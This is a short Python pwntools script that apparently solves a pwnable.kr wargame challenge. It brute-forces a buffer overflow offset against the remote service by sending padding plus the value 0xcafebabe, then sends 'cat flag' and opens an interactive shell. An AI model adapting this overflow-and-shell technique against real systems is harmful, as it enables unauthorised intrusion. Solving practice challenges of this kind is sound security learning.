from pwn import *
key=p32(0xcafebabe)
print "Brute-Force for the value starts"
for i in range (32,100):
	sock=remote('pwnable.kr',9000)
	sock.sendline('A' * i + key)
	print "current offset",i
	res = sock.recv(4096,timeout=1)
	if(res==""):
	 print "FOUND OFFSET", i
	 sock.sendline("cat flag")
	 sock.interactive()
	 break 
	else:
	 sock.close()
